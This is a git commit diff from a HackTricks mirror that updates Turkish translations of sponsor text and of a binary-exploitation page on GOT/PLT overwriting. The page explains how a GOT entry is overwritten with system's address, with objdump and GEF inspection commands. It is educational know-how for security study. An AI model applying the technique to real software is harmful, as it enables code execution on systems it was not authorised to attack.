mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2
This commit is contained in:
parent
08adcdc4f1
commit
2b0e410c50
8 changed files with 402 additions and 139 deletions
BIN
.gitbook/assets/image (1201).png
Normal file
BIN
.gitbook/assets/image (1201).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 588 KiB |
70
README.md
70
README.md
|
@ -5,7 +5,7 @@
|
||||||
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**Bu wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hackleme hilesini/teknik/şeyi bulacaksınız.**
|
**Wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hackleme hilesini/teknikleri/bilgiyi bulacaksınız.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Başlamak için, bir veya daha fazla **makineyi pentest ettiğinizde izlemeniz gereken tipik akışı** bulacağınız bu sayfayı takip edin:
|
Başlamak için, bir veya daha fazla **makineyi pentest ettiğinizde izlemeniz gereken tipik akışı** bulacağınız bu sayfayı takip edin:
|
||||||
|
@ -32,7 +32,7 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com), İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonellerinin her disiplinde kaynayan bir buluşma noktasıdır.
|
[**RootedCON**](https://www.rootedcon.com), İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonelleri için bir buluşma noktasıdır.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -42,9 +42,9 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (44).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Intigriti**, Avrupa'nın #1 etik hackleme ve ödül avcılığı platformudur.
|
**Intigriti**, Avrupa'nın #1 etik hackleme ve **ödül avı platformudur.**
|
||||||
|
|
||||||
**Ödül avcılığı ipucu**: **Intigriti'ye** kaydolun, hackerlar tarafından oluşturulan premium bir **ödül avcılığı platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**!
|
**Ödül avı ipucu**: **Intigriti'ye** kaydolun, hackerlar tarafından oluşturulan premium bir **ödül avı platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın!**
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -69,16 +69,11 @@ Bugün Erişim Alın:
|
||||||
|
|
||||||
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||||
|
|
||||||
**Hacking Insights**\
|
* **Hackleme İpuçları:** Hackleme heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin
|
||||||
Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin
|
* **Gerçek Zamanlı Hack Haberleri:** Hızlı tempolu hackleme dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
|
||||||
|
* **En Son Duyurular:** Yeni ödül avlarının başlatılması ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||||
|
|
||||||
**Gerçek Zamanlı Hack Haberleri**\
|
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||||
Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
|
||||||
|
|
||||||
**En Son Duyurular**\
|
|
||||||
Başlatılan en yeni ödül avcılıkları ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
|
||||||
|
|
||||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katılın ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
|
@ -86,7 +81,7 @@ Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katı
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan özellikler. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabuklar açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
|
**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi** kurulumu. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan özellikler. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
@ -96,16 +91,13 @@ Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katı
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
SerpApi, **arama motoru sonuçlarına erişmek** için hızlı ve kolay gerçek zamanlı API'lar sunar. Arama motorlarını kazır, proxy'leri yönetir, captcha'ları çözer ve tüm zengin yapılandırılmış verileri sizin için ayrıştırır.
|
SerpApi, **arama motoru sonuçlarına erişmek** için hızlı ve kolay gerçek zamanlı API'lar sunar. Arama motorlarını kazır, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır.
|
||||||
|
|
||||||
SerpApi'nin planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlasını içeren farklı arama motorlarını kazımak için 50'den fazla farklı API'ye erişim sağlar.
|
SerpApi'nin planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlasını içeren farklı arama motorlarını kazımak için 50'den fazla farklı API'ye erişim sağlar.\
|
||||||
|
Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları kazımaz**. SerpApi yanıtları tutarlı bir şekilde tüm reklamları, iç içe resimleri ve videoları, bilgi grafiklerini ve arama sonuçlarında bulunan diğer unsurları ve özellikleri içerir.
|
||||||
Diğer sağlayıcılardan farklı olarak, SerpApi sadece organik sonuçları kazımaz. SerpApi yanıtları tutarlı bir şekilde tüm reklamları, iç içe resimleri ve videoları, bilgi grafiklerini ve arama sonuçlarında bulunan diğer unsurları ve özellikleri içerir.
|
|
||||||
|
|
||||||
Mevcut SerpApi müşterileri arasında Apple, Shopify ve GrubHub bulunmaktadır.
|
|
||||||
|
|
||||||
Daha fazla bilgi için [bloglarına](https://serpapi.com/blog/) göz atın veya [**oyun alanlarında**](https://serpapi.com/playground) bir örnek deneyin.
|
|
||||||
|
|
||||||
|
Mevcut SerpApi müşterileri arasında **Apple, Shopify ve GrubHub** bulunmaktadır.\
|
||||||
|
Daha fazla bilgi için [**bloglarını**](https://serpapi.com/blog/) kontrol edin veya [**oyun alanlarında**](https://serpapi.com/playground) bir örnek deneyin.\
|
||||||
Ücretsiz bir hesap oluşturabilirsiniz [**buradan**](https://serpapi.com/users/sign\_up)**.**
|
Ücretsiz bir hesap oluşturabilirsiniz [**buradan**](https://serpapi.com/users/sign\_up)**.**
|
||||||
|
|
||||||
***
|
***
|
||||||
|
@ -120,17 +112,17 @@ Daha fazla bilgi için [bloglarına](https://serpapi.com/blog/) göz atın veya
|
||||||
|
|
||||||
### [WebSec](https://websec.nl/)
|
### [WebSec](https://websec.nl/)
|
||||||
|
|
||||||
|
<figure><img src=".gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
[**WebSec**](https://websec.nl), **modern** bir yaklaşımla işletmeleri **dünya çapında** en son siber güvenlik tehditlerine karşı koruyan Amsterdam merkezli profesyonel bir siber güvenlik şirketidir.
|
||||||
|
|
||||||
|
WebSec, Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi yapan bir güvenlik şirketidir.**
|
||||||
|
|
||||||
|
WebSec hakkında başka harika bir şey de, endüstri ortalamasının aksine WebSec'in **becerilerine çok güvendiği**, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği kadarıyla en iyi kalite sonuçlarını garanti etmesidir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
|
||||||
|
|
||||||
|
Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **kararlı destekçisidir.**
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern** bir yaklaşımla işletmeleri **dünya çapında** en son siber güvenlik tehditlerine karşı korumaya yardımcı olur.
|
|
||||||
|
|
||||||
WebSec, Pentesting, Güvenlik Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sömürü Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi bir arada güvenlik şirketi**dir.
|
|
||||||
|
|
||||||
WebSec hakkında başka harika bir şey de, WebSec'in becerilerine çok güvendiği, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği endüstri ortalamasının aksine en iyi kalite sonuçları garanti ettiğidir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
|
|
||||||
|
|
||||||
Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı destekçisidir.
|
|
||||||
|
|
||||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
|
||||||
## Lisans ve Feragatname
|
## Lisans ve Feragatname
|
||||||
|
|
||||||
Onları kontrol et:
|
Onları kontrol et:
|
||||||
|
@ -141,14 +133,14 @@ Onları kontrol et:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
HackTricks'ı desteklemenin diğer yolları:
|
HackTricks'i desteklemenin diğer yolları:
|
||||||
|
|
||||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
|
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)!
|
||||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
* [**The PEASS Family**]'yi keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** takip edin
|
||||||
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
|
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,11 +6,11 @@
|
||||||
|
|
||||||
HackTricks'ı desteklemenin diğer yolları:
|
HackTricks'ı desteklemenin diğer yolları:
|
||||||
|
|
||||||
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -18,13 +18,13 @@ HackTricks'ı desteklemenin diğer yolları:
|
||||||
|
|
||||||
### **GOT: Global Offset Table**
|
### **GOT: Global Offset Table**
|
||||||
|
|
||||||
**Global Offset Table (GOT)**, dinamik olarak bağlanmış ikili dosyalarda **harici fonksiyonların adreslerini yönetmek için kullanılan bir mekanizmadır**. Bu adresler, çalışma zamanında bilinmediği için (dinamik bağlantı nedeniyle) GOT, bu harici sembollerin adreslerini **çözüldükten sonra dinamik olarak güncellemek için bir yol sağlar**.
|
**Global Offset Table (GOT)**, dinamik olarak bağlanmış ikili dosyalarda **harici fonksiyonların adreslerini yönetmek için kullanılan bir mekanizmadır**. Bu adresler **çalışma zamanında bilinmediğinden** (dinamik bağlantı nedeniyle), GOT, bu harici sembollerin adreslerinin **çözüldükten sonra dinamik olarak güncellenmesini sağlar**.
|
||||||
|
|
||||||
GOT'taki her giriş, ikili dosyanın çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. **Bir fonksiyon ilk kez çağrıldığında, dinamik bağlayıcı tarafından gerçek adresi çözülür ve GOT'ta depolanır**. Aynı fonksiyona yapılan sonraki çağrılar, GOT'ta depolanan adresi kullanır, böylece adresi tekrar çözme işleminden kaçınılır.
|
GOT'taki her giriş, ikili dosyanın çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. **Bir fonksiyon ilk kez çağrıldığında, gerçek adresi dinamik bağlayıcı tarafından çözülür ve GOT'ta depolanır**. Aynı fonksiyona yapılan sonraki çağrılar, GOT'ta depolanan adresi kullanır, böylece adresi tekrar çözme işleminden kaçınılır.
|
||||||
|
|
||||||
### **PLT: Procedure Linkage Table**
|
### **PLT: Procedure Linkage Table**
|
||||||
|
|
||||||
**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları işlemek için bir trambolin olarak hizmet eder. Bir ikili **harici bir fonksiyonu ilk kez çağırdığında, kontrol, o fonksiyonla ilişkili PLT girişine geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur. Adres çözüldükten sonra, GOT'ta depolanır.
|
**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları işlemek için bir trambolin olarak hizmet eder. Bir ikili **harici bir fonksiyonu ilk kez çağırdığında, kontrol o fonksiyonla ilişkilendirilmiş PLT girişine geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer daha önce çözülmediyse. Adres çözüldükten sonra, **GOT'ta** saklanır.
|
||||||
|
|
||||||
**Bu nedenle,** harici bir fonksiyonun veya değişkenin adresi çözüldüğünde GOT girişleri doğrudan kullanılır. **PLT girişleri, bu adreslerin başlangıçta çözülmesini** sağlamak için dinamik bağlayıcı aracılığıyla kullanılır.
|
**Bu nedenle,** harici bir fonksiyonun veya değişkenin adresi çözüldüğünde GOT girişleri doğrudan kullanılır. **PLT girişleri, bu adreslerin başlangıçta çözülmesini** sağlamak için dinamik bağlayıcı aracılığıyla kullanılır.
|
||||||
|
|
||||||
|
@ -32,27 +32,35 @@ GOT'taki her giriş, ikili dosyanın çağırabileceği harici kütüphanelerdek
|
||||||
|
|
||||||
### GOT'u Kontrol Et
|
### GOT'u Kontrol Et
|
||||||
|
|
||||||
**`objdump -s -j .got ./exec`** komutu ile GOT tablosunun adresini alın.
|
**GOT tablosunun adresini almak için:** **`objdump -s -j .got ./exec`**
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (118).png>)
|
![](<../../.gitbook/assets/image (118).png>)
|
||||||
|
|
||||||
GEF ile **yürütülebilir** dosyayı **yükledikten** sonra GOT'ta **bulunan fonksiyonları görebilirsiniz**: `gef➤ x/20x 0xDIR_GOT`
|
**GEF** içinde **yürütülebilir** dosyayı **yükledikten** sonra **GOT** içindeki **fonksiyonları görebileceğinizi görebilirsiniz**: `gef➤ x/20x 0xDIR_GOT`
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||||
|
|
||||||
GEF kullanarak **hata ayıklama** oturumu başlatabilir ve GOT tablosunu görmek için **`got`** komutunu çalıştırabilirsiniz:
|
GEF kullanarak **hata ayıklama** oturumu başlatabilir ve **`got`** komutunu çalıştırarak got tablosunu görebilirsiniz:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (493).png>)
|
![](<../../.gitbook/assets/image (493).png>)
|
||||||
|
|
||||||
### GOT2Exec
|
### GOT2Exec
|
||||||
|
|
||||||
Bir ikili dosyada GOT, **fonksiyonların adreslerine veya** fonksiyon adresini yükleyecek olan **PLT** bölümüne sahiptir. Bu keyfi yazmanın amacı, daha sonra **çalıştırılacak bir fonksiyonun GOT girişini** örneğin **`system`** **fonksiyonunun PLT'si adresiyle** **üzerine yazmaktır**.
|
Bir ikili dosyada GOT, **fonksiyonların adreslerine veya** **fonksiyon adresini yükleyecek PLT** bölümüne sahiptir. Bu keyfi yazmanın amacı, daha sonra **çalıştırılacak bir fonksiyonun GOT girişini** **örneğin `system`** **fonksiyonunun PLT adresiyle** **üzerine yazmaktır**.
|
||||||
|
|
||||||
İdeal olarak, **kontrolünüzdeki parametrelerle çağrılacak bir fonksiyonun GOT'unu** **üzerine yazacaksınız** (bu nedenle sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz).
|
İdeal olarak, **kontrolünüzdeki parametrelerle çağrılacak bir fonksiyonun GOT'unu** **üzerine yazacaksınız** (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz).
|
||||||
|
|
||||||
Eğer **`system`** **kullanılmıyorsa** betik tarafından, sistem fonksiyonunun **PLT'de bir girişi olmayacak**. Bu senaryoda, önce `system` fonksiyonunun adresini sızdırmanız ve ardından GOT'u bu adrese işaret etmek için üzerine yazmanız gerekecektir.
|
Eğer **`system`** **betiğin içinde kullanılmıyorsa**, sistem fonksiyonunun **PLT'de bir girişi olmayacak**. Bu senaryoda, önce `system` fonksiyonunun adresini sızdırmanız ve ardından GOT'u bu adrese yönlendirmeniz gerekecektir.
|
||||||
|
|
||||||
PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** komutu ile görebilirsiniz.
|
PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz.
|
||||||
|
|
||||||
|
## libc GOT girişleri
|
||||||
|
|
||||||
|
**Libc GOT'u**, adresini belirlemek mümkünse ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)) hedef almak için güzel bir hedef olacak şekilde genellikle **kısmi RELRO** ile derlenir.
|
||||||
|
|
||||||
|
Libc'nin yaygın fonksiyonları, kod yürütmek için libc'nin GOT'unun üzerine yazılabilecek **diğer iç fonksiyonları çağıracaktır**.
|
||||||
|
|
||||||
|
Bu tekniğe ilişkin [**daha fazla bilgiyi burada bulabilirsiniz**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||||
|
|
||||||
## **One Gadget**
|
## **One Gadget**
|
||||||
|
|
||||||
|
@ -60,9 +68,9 @@ PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** komutu ile görebilirsini
|
||||||
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
|
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## **Korunmalar**
|
## **Koruma**
|
||||||
|
|
||||||
**Tam RELRO** koruması, ikili başlatıldığında tüm fonksiyonların adreslerini çözerek ve **GOT tablosunu salt okunur hale getirerek** bu tür tekniklere karşı koruma sağlar:
|
**Tam RELRO** koruması, ikili başlatıldığında tüm fonksiyonların adreslerini çözerek ve ardından **GOT tablosunu salt okunur hale getirerek** bu tür tekniklere karşı koruma sağlar:
|
||||||
|
|
||||||
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
||||||
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
||||||
|
@ -79,10 +87,10 @@ PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** komutu ile görebilirsini
|
||||||
|
|
||||||
HackTricks'ı desteklemenin diğer yolları:
|
HackTricks'ı desteklemenin diğer yolları:
|
||||||
|
|
||||||
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,14 +2,14 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
HackTricks'i desteklemenin diğer yolları:
|
HackTricks'i desteklemenin diğer yolları:
|
||||||
|
|
||||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
|
||||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
|
||||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
